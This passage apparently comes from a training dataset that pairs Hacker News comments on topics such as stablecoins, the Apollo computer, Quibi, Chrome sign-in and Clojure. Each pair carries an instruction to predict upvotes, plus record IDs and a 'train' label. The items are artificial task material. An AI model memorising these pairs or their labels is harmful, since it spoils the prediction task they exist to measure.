projects?</text></item></parent_chain></comment><story><title>SafeDollar ‘stablecoin’ drops to $0 following DeFi exploit on Polygon</title><url>https://cryptoslate.com/safedollar-stablecoin-drops-to-0-following-248000-defi-exploit-on-polygon/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>xur17</author><text>They all do the same thing (peg to the dollar), but in different ways with different tradeoffs. That&#x27;s the interesting part that you&#x27;re completely missing.<p>Some are more centralized than others. Some rely on governance more than others. Some allow themselves to drift further from the peg than others. Some are more complex (and therefore more at risk of failure). There&#x27;s actually quite a lot going on, and I personally find it pretty interesting, but yeah, at the surface, it&#x27;s a bunch of coins that trade fairly close to $1.</text><parent_chain><item><author>pavel_lishin</author><text>Because there&#x27;s nothing <i>interesting</i> about them. They&#x27;re just another variation on the same ol&#x27; &quot;we peg our value to the dollar(*)!&quot; pitch.<p>The interesting stuff happens when they fail.</text></item><item><author>lazzlazzlazz</author><text>There are more than $100b of stablecoins — 285x year-over-year growth — with a variety of very interesting and high-quality stablecoins proliferating. And of course, Hacker News focuses on some garbage project nobody in the space even followed.<p>How is there no discussion about FRAX, Maker&#x27;s DAI, USDC, CRV&#x27;s 3pool token, Liquity&#x27;s LUSD, and so many other interesting projects?</text></item></parent_chain></comment><story><title>SafeDollar ‘stablecoin’ drops to $0 following DeFi exploit on Polygon</title><url>https://cryptoslate.com/safedollar-stablecoin-drops-to-0-following-248000-defi-exploit-on-polygon/</url></story> |
12,418,263 | 12,418,286 | 1 | 2 | 12,417,447 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>exDM69</author><text>Title is editorialized.<p>Even the US Gemini program had an on-board guidance computer before Apollo.<p><a href="https:&#x2F;&#x2F;en.m.wikipedia.org&#x2F;wiki&#x2F;Gemini_Guidance_Computer" rel="nofollow">https:&#x2F;&#x2F;en.m.wikipedia.org&#x2F;wiki&#x2F;Gemini_Guidance_Computer</a></text><parent_chain><item><author>jkot</author><text>I would argue it was <i>first</i> space flight guidance computer.<p>Technically nazis V1 had analog guidance computer and traveled in space. The same with all later ballistic missiles etc.<p>Early soviet manned space flights (Vostok, Voschod) were fully automated, in case pilot passes out. Americans did not had that until Apollo.<p>There was even &#x27;password&#x27; login :-) [wiki, Vostok 1]<p>&gt; <i>The entire mission would be controlled by either automatic systems or by ground control. This was because medical staff and spacecraft engineers were unsure how a human might react to weightlessness, and therefore it was decided to lock the pilot&#x27;s manual controls. In an unusual move, a code to unlock the controls was placed in an onboard envelope, for Gagarin&#x27;s use in case of emergency.[7]:278 Prior to the flight, Kamanin and others told Gagarin the code anyway.</i></text></item></parent_chain></comment><story><title>A computer engineer has tracked down the first Apollo guidance computer</title><url>http://www.gadget.co.za/the-hacker-the-scrapheap-and-the-first-apollo-computer/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>alephnil</author><text>The V1[1] was a pulsejet powered cruise missile, and while it also had a analog guidance system, I guess you mean V2[2], that was the first long range ballistic missile.<p>[1] <a href="https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;V-1_flying_bomb" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;V-1_flying_bomb</a>
[2] <a href="https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;V-2_rocket" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;V-2_rocket</a></text><parent_chain><item><author>jkot</author><text>I would argue it was <i>first</i> space flight guidance computer.<p>Technically nazis V1 had analog guidance computer and traveled in space. The same with all later ballistic missiles etc.<p>Early soviet manned space flights (Vostok, Voschod) were fully automated, in case pilot passes out. Americans did not had that until Apollo.<p>There was even &#x27;password&#x27; login :-) [wiki, Vostok 1]<p>&gt; <i>The entire mission would be controlled by either automatic systems or by ground control. This was because medical staff and spacecraft engineers were unsure how a human might react to weightlessness, and therefore it was decided to lock the pilot&#x27;s manual controls. In an unusual move, a code to unlock the controls was placed in an onboard envelope, for Gagarin&#x27;s use in case of emergency.[7]:278 Prior to the flight, Kamanin and others told Gagarin the code anyway.</i></text></item></parent_chain></comment><story><title>A computer engineer has tracked down the first Apollo guidance computer</title><url>http://www.gadget.co.za/the-hacker-the-scrapheap-and-the-first-apollo-computer/</url></story> |
40,563,760 | 40,563,931 | 1 | 3 | 40,562,741 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>throwup238</author><text>I think there’s one flaw in the overall theory presented in the article: it was demand for coal for heating independent of the industrial revolution that really kickstarted things and the labor exploited for coal mining was the lowest of the socioeconomic classes. Before the industrial revolution England was already mining around five times more coal than the rest of the world <i>combined</i> just to survive winters. Once they exhausted the easy surface deposits they had to go deeper and deeper which required mechanized power to work against the water seeping in. The first engines were invented not when labor became too expensive but when it was impossible to do with human labor at all.<p>After reading <i>Coal - A Human History</i> I’m of the opinion that the industrial revolution was a complete accident of circumstance on a tiny island that didn’t have enough trees to support its population’s energy needs and a surface supply of coal just big enough to get the industry started but not enough to supply the growing population without digging deeper.</text><parent_chain></parent_chain></comment><story><title>What if they gave an Industrial Revolution and nobody came? (2023)</title><url>https://rootsofprogress.org/robert-allen-british-industrial-revolution</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>throwaway22032</author><text>It strikes me that if you have different classes of people working on a problem then it doesn&#x27;t necessarily matter what&#x27;s more efficient on a per-person basis initially because some people will not be doing the work anyway.<p>For example, buying a power sander for 10 hours labour cost when you could just have sanded the table down in less than 10 hours manually.<p>It&#x27;s not like there were infinite quantities of slaves or lower class workers, at some point someone is going to explore the idea of automation purely out of interest.<p>For what it&#x27;s worth this is why I believe that inequality and some level of wealth at the top is useful and necessary. You want a class of people who can just sort of mess about as they see fit. Otherwise everyone is just scrambling to meet basic needs.</text><parent_chain></parent_chain></comment><story><title>What if they gave an Industrial Revolution and nobody came? (2023)</title><url>https://rootsofprogress.org/robert-allen-british-industrial-revolution</url></story> |
10,224,830 | 10,224,806 | 1 | 3 | 10,224,649 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>wpietri</author><text>I cannot tell you how mad this made me. The racism, the refusal to appreciate the nerdy kid, the police idiocy, the bad teacher, the horrible administration. 5 police officers interrogating one 14-year-old who just likes tinkering because he brought in a clock.<p>Does anybody know a good way (that is, polite and unlikely to be percieved as menacing) to send something to the family? I&#x27;d totally go in on a giant AdaFruit gift certificate for the young fellow. Or a scholarship fund. Or both.</text><parent_chain></parent_chain></comment><story><title>Irving, TX ninth grader arrested after taking homemade clock to school</title><url>http://www.dallasnews.com/news/community-news/northwest-dallas-county/headlines/20150915-irving-9th-grader-arrested-after-taking-homemade-clock-to-school-so-you-tried-to-make-a-bomb.ece</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>orbitur</author><text>You can imagine how proud he was, he really wanted to show off his clock. I can think of a few times I got shut down by bored adults when I wanted to present something I built.<p>But he wasn&#x27;t met with boredom, he was met with an arrest. Police still threatening charges.</text><parent_chain></parent_chain></comment><story><title>Irving, TX ninth grader arrested after taking homemade clock to school</title><url>http://www.dallasnews.com/news/community-news/northwest-dallas-county/headlines/20150915-irving-9th-grader-arrested-after-taking-homemade-clock-to-school-so-you-tried-to-make-a-bomb.ece</url></story> |
6,055,043 | 6,054,330 | 1 | 3 | 6,054,157 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>georgemcbay</author><text>Glad to see some more work being done on UI frameworks in Go, though I doubt this will end the splintered nature of all the different (mostly half-baked, honestly) options.<p>I&#x27;ve personally been using a Qt5.1&#x2F;QML based solution with a Go&#x2F;CGO based QML plugin that acts as a bridge between QML and backend Go code. It doesn&#x27;t try to export much of Qt to Go, it basically expects you to write the UI logic in QML&#x2F;QtQuick and then just use Go for the underlying app logic, using the QML plugin bridge to allow Go code to call QML functions and vice-versa. In practice this works somewhat like writing a Go server that manages an HTML UI for doing browser-based UIs with a web-based RPC system, except I can write the UI code in QML which I find much preferable to HTML&#x2F;JavaScript (variable binding Just Works, no need for frameworks like Angular, no need to mess with CSS, can efficiently pass around binary data in byte arrays easily, etc).<p>Currently my solution isn&#x27;t even half-baked, I&#x27;ve been implementing it to serve a specific app, and it currently has some dependencies that force it to be Windows only (these could be trivially removed, but doing so isn&#x27;t important for my app). I may share the code for this sometime in the future after it has matured a bit more, though there&#x27;s really not that much to it.</text><parent_chain></parent_chain></comment><story><title>Gotk3: GTK3 the Go way</title><url>https://blog.conformal.com/gotk3-gtk3-the-go-way/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>yebyen</author><text>I am on ubuntu raring with the packaged golang and I can&#x27;t compile your example code, copied directly out of <i>Sample Use</i>.<p><pre><code> kbarrett@vernon-linux:~&#x2F;go-work&#x2F;gotk$ go version
go version go1.0.2
kbarrett@vernon-linux:~&#x2F;go-work&#x2F;gotk$ go build
# github.com&#x2F;conformal&#x2F;gotk3&#x2F;glib
glib.go:380[&#x2F;tmp&#x2F;go-build210667265&#x2F;github.com&#x2F;conformal&#x2F;gotk3&#x2F;glib&#x2F;_obj&#x2F;glib.cgo1.go:370]: function ends without a return statement
glib.go:743[&#x2F;tmp&#x2F;go-build210667265&#x2F;github.com&#x2F;conformal&#x2F;gotk3&#x2F;glib&#x2F;_obj&#x2F;glib.cgo1.go:741]: function ends without a return statement
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function ends without a return statement. If this is a problem with my version of go, I will try and fetch the latest head from git. I am interested!<p>sudo go get github.com&#x2F;conformal&#x2F;gotk3&#x2F;gtk -- gives the same error.</text><parent_chain></parent_chain></comment><story><title>Gotk3: GTK3 the Go way</title><url>https://blog.conformal.com/gotk3-gtk3-the-go-way/</url></story> |
5,444,417 | 5,443,618 | 1 | 2 | 5,443,108 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>yk</author><text>Usually I would give someone like Bram Cohen the benefit of doubt, but this paragraph:<p><pre><code> “We want people to use and adopt BitTorrent Live. But
we aren’t planning on encouraging alternative
implementation because it’s a tricky protocol to
implement and poorly behaved peers can impact everyone.
We want to ensure a quality experience for all and this
is the best approach for us to take,” Cohen told
TorrentFreak.
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So they are relying on the patent system to ensure that every peer is playing nicely? In a p2p protocol? What could possibly go wrong?</text><parent_chain></parent_chain></comment><story><title>BitTorrent's Bram Cohen Patents Live Streaming Protocol</title><url>http://torrentfreak.com/bittorrent-s-bram-cohen-patents-revolutionary-live-streaming-protocol-130326/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>huhtenberg</author><text>I really like Bram, but what <i>is</i> revolutionary here?<p>I was pretty heavily involved in p2p field back in the early '00 and I've read extensively on the subject. Even back then there was <i>plenty</i> of research into peer-casting, including peer clustering by proximity metrics. The idea is bloody obvious, and it all inevitably boils down to constructing an efficient and resilient overlay networks, which is a very well researched domain. The reason there's not much of it implemented is because there is always a simpler (read - dumber) solutions that worked just as well in practice. Think YouTube vs. Joost.<p>Can anyone with a more recent exposure to p2p stuff comment on whether this is indeed an innovation or is it just a PR spin on a patent application?</text><parent_chain></parent_chain></comment><story><title>BitTorrent's Bram Cohen Patents Live Streaming Protocol</title><url>http://torrentfreak.com/bittorrent-s-bram-cohen-patents-revolutionary-live-streaming-protocol-130326/</url></story> |
29,663,988 | 29,664,289 | 1 | 3 | 29,663,240 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>slg</author><text>&gt;I have to be honest. I view NFTs as one of the dumbest things to come out of the crypto space.<p>This is so obvious to me that it is tough to stop myself from believing that everyone knows this and is just ignoring it in an attempt to make a quick buck. There are much better arguments for cryptocurrency. I happen to think they are generally overvalued and overhyped, but there is also real utility at the heart of it that people can believe in and project forward. NFTs seem to be stupid all the way down.</text><parent_chain><item><author>lettergram</author><text>I have to be honest. I view NFTs as one of the dumbest things to come out of the crypto space. I see the use cases, but frankly I don’t think it’s innovative nor does it solve something in a really unique way.<p>Part of the point of digital assets are that they can be copied. If you don’t want to copy them, you can validate with the issuing authority (which is virtually all NFTs as it is).</text></item></parent_chain></comment><story><title>NFT Replicas: An app to mint a replica of virtually any NFT</title><url>https://nftreplicas.net</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>timcott</author><text>For a digitally savvy community, HN takes on NFTs are surprisingly backwards looking. NFTs most people have seen&#x2F;heard of are just links to a JPEG with little to no utility. That has caused all the hype&#x2F;OpenSea volume, but there are many interesting crypto projects that ascribe utility to NFTs (but are also much less accessible).<p>Interesting NFTs are those that: prove identity, serve as a key to a private community, yield tokens with utility, prove ownership of an asset that generates royalties, augment a gaming experience, etc.<p>What&#x27;s unique about how NFTs solve existing problems is fundamental to crypto - the data layer is open source, so everything is composable. Maybe the folks here working for large cap tech firms in effort to monetize proprietary data are offended by that.</text><parent_chain><item><author>lettergram</author><text>I have to be honest. I view NFTs as one of the dumbest things to come out of the crypto space. I see the use cases, but frankly I don’t think it’s innovative nor does it solve something in a really unique way.<p>Part of the point of digital assets are that they can be copied. If you don’t want to copy them, you can validate with the issuing authority (which is virtually all NFTs as it is).</text></item></parent_chain></comment><story><title>NFT Replicas: An app to mint a replica of virtually any NFT</title><url>https://nftreplicas.net</url></story> |
10,139,967 | 10,139,987 | 1 | 2 | 10,139,817 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>geographomics</author><text>You can also use certutil to grab all the trusted root certificates from the Windows Update server:<p><pre><code> certutil -generateSSTFromWU roots.sst
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Then open roots.sst (which defaults to viewing in certmgr) and it will show the whole lot. Or use certutil -syncWithWU to get all the certs individually.<p>Alternatively: download <a href="http:&#x2F;&#x2F;ctldl.windowsupdate.com&#x2F;msdownload&#x2F;update&#x2F;v3&#x2F;static&#x2F;trustedr&#x2F;en&#x2F;authrootstl.cab" rel="nofollow">http:&#x2F;&#x2F;ctldl.windowsupdate.com&#x2F;msdownload&#x2F;update&#x2F;v3&#x2F;static&#x2F;t...</a> [1], extract the authroot.stl file (which is in PKCS#7 format), use &#x27;certutil -dump&#x27; to list all the subject key identifiers therein, and then download them from the same location as authrootstl.cab by appending &quot;.crt&quot; to the identifier.<p>Windows is not lying about anything, you just need to look in the right place.<p>Also, if you want to examine the CTL list that Windows is currently using - which should be identical to the one above unless it&#x27;s brand new or there has been a problem downloading it - this will extract it from the registry:<p><pre><code> powershell -Command &quot;[IO.File]::WriteAllBytes(&#x27;authroot-local.stl&#x27;,(Get-ItemProperty -Path &#x27;HKLM:\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate&#x27;).EncodedCtl)&quot;
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Then use &#x27;certinfo -dump&#x27; or whatever you like, it&#x27;s exactly the same format as the downloaded authroot.stl. This is the same registry data that the OP&#x27;s CTLInfo tool examines.<p>[1] as specified in <a href="https:&#x2F;&#x2F;support.microsoft.com&#x2F;en-us&#x2F;kb&#x2F;2677070" rel="nofollow">https:&#x2F;&#x2F;support.microsoft.com&#x2F;en-us&#x2F;kb&#x2F;2677070</a></text><parent_chain></parent_chain></comment><story><title>Windows Certificate Manager does not display the complete trust list</title><url>http://hexatomium.github.io/2015/08/29/why-is-windows/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>brudgers</author><text>One feature of Windows is defaulting to not showing messy complexity to the user. The other feature is defaulting to backward compatibility. Combined, this means that Windows often has more than two data stores for some aggregate feature [e.g. web browser security, software configuration etc.] as new versions of Windows implement these features in more robust ways.<p>So yeah there are two or more places where certificates are stored. Typical users only care about the abstraction of web security so that&#x27;s what Windows surfaces. Application developers should choose the new store for new applications. Existing applications can use the old method. System administrators and security consultants should make themselves familiar with all the documentation and double their rates.<p>Bloggers, however, are still free to write linkbait headlines using the Windows bashing meme.</text><parent_chain></parent_chain></comment><story><title>Windows Certificate Manager does not display the complete trust list</title><url>http://hexatomium.github.io/2015/08/29/why-is-windows/</url></story> |
41,190,315 | 41,190,505 | 1 | 3 | 41,189,946 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>flir</author><text>I think you do political satire - because that&#x27;s what the Daily Show is - a disservice. Spitting Image (for example) massively shaped people&#x27;s perceptions of British politicians in the 80s. That Maggie puppet is still an iconic image of the woman herself.</text><parent_chain><item><author>steveBK123</author><text>The blending of comedy&#x2F;entertainment with news, going back to the GWB era with the Daily Show is a good example of this problem. People consuming junk food thinking they are getting their vegetables.<p>Better to simply turn off your brain and honestly watch real junk without the false sophistication.</text></item></parent_chain></comment><story><title>The News Is Information Junk Food (2022)</title><url>https://chuck.is/news/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>CuriouslyC</author><text>Frankly the Daily Show&#x2F;Last Week Tonight are the best news, because the news isn&#x27;t vegetables to begin with, it&#x27;s alluring toxic slop that makes us feel like shit when we consume it. At least TDS&#x2F;LWT make us feel good while getting mildly (and mostly unnecessarily) informed.</text><parent_chain><item><author>steveBK123</author><text>The blending of comedy&#x2F;entertainment with news, going back to the GWB era with the Daily Show is a good example of this problem. People consuming junk food thinking they are getting their vegetables.<p>Better to simply turn off your brain and honestly watch real junk without the false sophistication.</text></item></parent_chain></comment><story><title>The News Is Information Junk Food (2022)</title><url>https://chuck.is/news/</url></story> |
24,852,979 | 24,852,990 | 1 | 2 | 24,850,298 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>function_seven</author><text>Almost every TikTok video I see is vertical. They&#x27;re going gangbusters. The culture hasn&#x27;t changed. There never was room for something like Quibi. They had a shit business model which (as far as I can tell) was &quot;people who ride the subway or take the bus, who will pay $8 a month for 1&#x2F;3-sized episodes&quot;.<p>Because all other viewing scenarios still exist even with the pandemic.</text><parent_chain><item><author>chrisseaton</author><text>Do you understand how the culture changed, though?<p>Do you realise people used to consume a lot of media on their phones vertically... but now they don&#x27;t... for obvious reaons.<p>That can&#x27;t be that hard to understand? Market changed. Previously valid opportunity vanished. They didn&#x27;t do anything wrong but be around at the wrong time.</text></item><item><author>baobabKoodaa</author><text>&quot;Mobile first&quot; implies that there&#x27;s something second. Like a webpage that&#x27;s optimized for a mobile experience but is also viewable on desktop. This could have been Quibi: they made vertical videos (&quot;optimized for a mobile experience&quot;) but they could have also allowed users to view those videos on desktop. That would have been mobile first.</text></item><item><author>Traster</author><text>It was mobile first, so I could see how you could argue that a pandemic was bad for a platform built around mobile. Having said that, the management seems to have been crap too and it seems crazy that they weren&#x27;t able to acqui-quit.</text></item><item><author>baobabKoodaa</author><text>So let me get this straight: a video streaming service fails, and they&#x27;re blaming... the pandemic? I don&#x27;t think there has ever been a time in history when people have had more time to sit around watching videos.<p>I actually wanted to give my money to Quibi, but they made it too hard to do so. I really wanted to see the new Reno 911 skits, and I didn&#x27;t find them anywhere besides Quibi. I was ready to pay and I tried to find an option to watch Quibi content on my desktop, but it seemed like there wasn&#x27;t any. Only mobile. Yeah, go ahead and dictate to users the exact manner in which they must interact with your product. Don&#x27;t allow any alternatives. This is what happens.</text></item></parent_chain></comment><story><title>Quibi Is Shutting Down</title><url>https://www.wsj.com/articles/quibi-weighs-shutting-down-as-problems-mount-11603301946</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>mritun</author><text>Wait what? The GP said they were not mobile-first, they were mobile-only and that’s true.<p>And No, what you say is not how any of the video services work. Pandemic or not, the largest selection of videos are 16:9.<p>Quibi bet the house on a mobile-only portrait videos In 10 minute chapters. You claim there was a market for that - but give no evidence.<p>There isn’t a broad market for that niche offering!</text><parent_chain><item><author>chrisseaton</author><text>Do you understand how the culture changed, though?<p>Do you realise people used to consume a lot of media on their phones vertically... but now they don&#x27;t... for obvious reaons.<p>That can&#x27;t be that hard to understand? Market changed. Previously valid opportunity vanished. They didn&#x27;t do anything wrong but be around at the wrong time.</text></item><item><author>baobabKoodaa</author><text>&quot;Mobile first&quot; implies that there&#x27;s something second. Like a webpage that&#x27;s optimized for a mobile experience but is also viewable on desktop. This could have been Quibi: they made vertical videos (&quot;optimized for a mobile experience&quot;) but they could have also allowed users to view those videos on desktop. That would have been mobile first.</text></item><item><author>Traster</author><text>It was mobile first, so I could see how you could argue that a pandemic was bad for a platform built around mobile. Having said that, the management seems to have been crap too and it seems crazy that they weren&#x27;t able to acqui-quit.</text></item><item><author>baobabKoodaa</author><text>So let me get this straight: a video streaming service fails, and they&#x27;re blaming... the pandemic? I don&#x27;t think there has ever been a time in history when people have had more time to sit around watching videos.<p>I actually wanted to give my money to Quibi, but they made it too hard to do so. I really wanted to see the new Reno 911 skits, and I didn&#x27;t find them anywhere besides Quibi. I was ready to pay and I tried to find an option to watch Quibi content on my desktop, but it seemed like there wasn&#x27;t any. Only mobile. Yeah, go ahead and dictate to users the exact manner in which they must interact with your product. Don&#x27;t allow any alternatives. This is what happens.</text></item></parent_chain></comment><story><title>Quibi Is Shutting Down</title><url>https://www.wsj.com/articles/quibi-weighs-shutting-down-as-problems-mount-11603301946</url></story> |
2,132,199 | 2,132,017 | 1 | 2 | 2,131,524 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>ot</author><text>Taras Glek's blog (<a href="http://blog.mozilla.com/tglek" rel="nofollow">http://blog.mozilla.com/tglek</a>) contains a lot more information about link optimizations to improve startup times of Firefox.<p>One of the reasons why loading libxul is so slow normally is that the chain of constructors called at initialization time is arranged <i>backwards</i> in the library (<a href="http://blog.mozilla.com/tglek/2010/05/27/startup-backward-constructors/" rel="nofollow">http://blog.mozilla.com/tglek/2010/05/27/startup-backward-co...</a>) so the OS (which is usually optimized for forward loading) cannot efficiently prefetch the pages.<p>There is also a post that explains how they measure the startup time on Windows (<a href="http://blog.mozilla.com/tglek/2010/10/04/diagnosing-slow-startup/" rel="nofollow">http://blog.mozilla.com/tglek/2010/10/04/diagnosing-slow-sta...</a>) and Unix (<a href="http://blog.mozilla.com/tglek/2011/01/14/builtin-startup-measurement/" rel="nofollow">http://blog.mozilla.com/tglek/2011/01/14/builtin-startup-mea...</a>).</text><parent_chain></parent_chain></comment><story><title>20-line patch to Firefox 4 that makes startup on Windows 2x as fast</title><url>https://bugzilla.mozilla.org/show_bug.cgi?id=627591</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>blago</author><text>After using FF for 5 years it got so slow on my Mac that it became unusable. I made the switch to Chrome last year and I'm not looking back. I was an early adopter and supporter (including money) but FF is no longer what it used to be. The code base is bloated, performance is sluggish, they don't seem to care about developers anymore (websql anyone, lack of officially supported debugging tool). All of this in spite of cream-of-the-crop tallent that they have acquired in the last few years. I keep asking mysel and just can't figure: how did it all go so wrong.</text><parent_chain></parent_chain></comment><story><title>20-line patch to Firefox 4 that makes startup on Windows 2x as fast</title><url>https://bugzilla.mozilla.org/show_bug.cgi?id=627591</url></story> |
41,397,197 | 41,397,237 | 1 | 3 | 41,396,487 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>jojohohanon</author><text>I am confused.<p>Ddg is a web search engine. So &lt;search engine&gt; for Mac seems like a type error.<p>The linked page tells you that they are hiring, and how to install the project, but &#x2F;not what it is&#x2F;.</text><parent_chain></parent_chain></comment><story><title>DuckDuckGo for Mac is now open source</title><url>https://github.com/duckduckgo/macos-browser</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>corv</author><text>This is great to hear but I’ve found Kagi’s Orion to be so good that I’m unlikely to switch</text><parent_chain></parent_chain></comment><story><title>DuckDuckGo for Mac is now open source</title><url>https://github.com/duckduckgo/macos-browser</url></story> |
17,428,440 | 17,427,971 | 1 | 2 | 17,427,853 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>kylnew</author><text>I recently got double slammed with 2 graph questions during an interview after having navigated for years without getting a graph question. It&#x27;s wholly irrelevant to my day-to-day work but I do hobby game development sometimes which involves more needs for graphing. Still, I can&#x27;t do much of anything with a graph on a whiteboard.
Puzzled as to why it&#x27;s so important to some companies to grill on this stuff, expecting it to be top-of-mind, even for front end roles.</text><parent_chain></parent_chain></comment><story><title>Data Structures Reference</title><url>https://www.interviewcake.com/data-structures-reference</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>gameguy43</author><text>Founder of Interview Cake here. Thanks for the post!<p>Down to chat about coding interviews and answer questions here!</text><parent_chain></parent_chain></comment><story><title>Data Structures Reference</title><url>https://www.interviewcake.com/data-structures-reference</url></story> |
18,062,847 | 18,060,735 | 1 | 2 | 18,059,924 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>i2shar</author><text>It&#x27;s about privacy and also about taking away functionality that worked all these years for me. At work we use Google Apps and I sign in as with my work address for Gmail, Calendar, Docs, Drive, etc. and am used to one click access to all these apps. But I like to sync my bookmarks, extensions and settings to my personal account - and that&#x27;s it - I don&#x27;t want to sign in to my personal Gmail, Docs, Drive in the browser. The new Chrome not only forces me to, but it now makes my personal account the primary one (&#x2F;u&#x2F;0 for Gmail) and forces me to go through several clicks for other apps to change accounts. And they didn&#x27;t even ask before pushing this - one fine day Chrome auto updated and forced this feature on me and it took several days and a lot of signing out&#x2F;in deleting cookies, posting on groups, etc. to figure out the flags workaround.<p>I know the following is not welcome on HN, but I have to vent somewhere folks that think this was a good idea are reading, so here it is: A big fuck you to Chrome for forcing this feature on us!</text><parent_chain><item><author>tedivm</author><text>I don&#x27;t understand why the Chrome team is picking this hill to die on- their team (managers and developers) are all over twitter and reddit trying to explain the privacy violations away as if the people upset about this are just not understanding what&#x27;s going on.<p>I really expect this change to push a lot of people away from Chrome, and frankly I wouldn&#x27;t be surprised if it started opening up more antitrust possibilities due to how they&#x27;re using their browser to give their services special functionality others can&#x27;t get.</text></item></parent_chain></comment><story><title>Am I logged in or not? GDPR case study on the example of Chrome browser change</title><url>https://blog.lukaszolejnik.com/am-i-logged-in-or-not-gdpr-case-study-on-the-example-of-chrome-browser-change/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>james_pm</author><text>I had been using Chrome only for G Suite stuff (forced by my employer to maintain this account) and FF for everything else. This change resulted in the deletion of Chrome from my computer and a move to FF with Multi Account Containers set to segregate various services from each other.<p>I&#x27;m half thankful for the Chrome team doing this because it was just the push I needed to finally rid myself of Chrome once and for all.<p>I plan to do a clean re-install of the OS on my Mac as well to ensure that all vestiges of Google Chrome are indeed gone. I also took the opportunity to rid myself of Google Drive File Stream.</text><parent_chain><item><author>tedivm</author><text>I don&#x27;t understand why the Chrome team is picking this hill to die on- their team (managers and developers) are all over twitter and reddit trying to explain the privacy violations away as if the people upset about this are just not understanding what&#x27;s going on.<p>I really expect this change to push a lot of people away from Chrome, and frankly I wouldn&#x27;t be surprised if it started opening up more antitrust possibilities due to how they&#x27;re using their browser to give their services special functionality others can&#x27;t get.</text></item></parent_chain></comment><story><title>Am I logged in or not? GDPR case study on the example of Chrome browser change</title><url>https://blog.lukaszolejnik.com/am-i-logged-in-or-not-gdpr-case-study-on-the-example-of-chrome-browser-change/</url></story> |
25,380,596 | 25,380,454 | 1 | 3 | 25,373,831 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>sankyo</author><text>Everything is a function, functions are first class.<p>REPL based development gives you instant feedback. lets you write a function in your editor and then run it, change it, run it again. If your idea of REPL is python or ruby, then you are not getting the entire picture. <a href="https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;5671214&#x2F;is-lisp-the-only-language-with-repl" rel="nofollow">https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;5671214&#x2F;is-lisp-the-only...</a><p>Immutable by default. This helps with debugging and solves thread safety. Feel free to pass around references without worry.<p>Java interop - you can use all the jars<p>&quot;isomorphic&quot; - write clojurescript for the browser, Clojure for the server</text><parent_chain><item><author>bIAW7hAhDO</author><text>Honest question: Why is clojure so much better than the rest?</text></item><item><author>jakebasile</author><text>I&#x27;ve said it before, and I&#x27;ll say it again. I will continue to write Clojure for a living as long as I am able to find a job willing to pay me to do so. I have never encountered a more pleasant environment to do my work. I think Clojure isn&#x27;t going to &quot;go away&quot; any time soon as long as there are other people like me still around.<p>I do think that Clojure shops (like all software shops) need to dial back the torture interviews &#x2F; homework &#x2F; tests, but that&#x27;s really a bigger thing that just Clojure. I think more could be done to market Clojure to the non-believers, but I don&#x27;t have specific ideas on how that could be done.<p>You can take my parentheses from my cold, unemployed hands.</text></item></parent_chain></comment><story><title>The Future of Clojure</title><url>https://www.thoughtworks.com/podcasts/future-clojure</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>mbil</author><text>Compared to other languages, I&#x27;ve found Clojure makes it much easier to iteratively turn an idea into code.<p>Say you&#x27;re writing a pure function...<p>You start with just data and a sense of how the output might look. Let&#x27;s say I have APIs providing me with a user record and a list of transactions, and I want to get that person&#x27;s balance...<p>Maybe 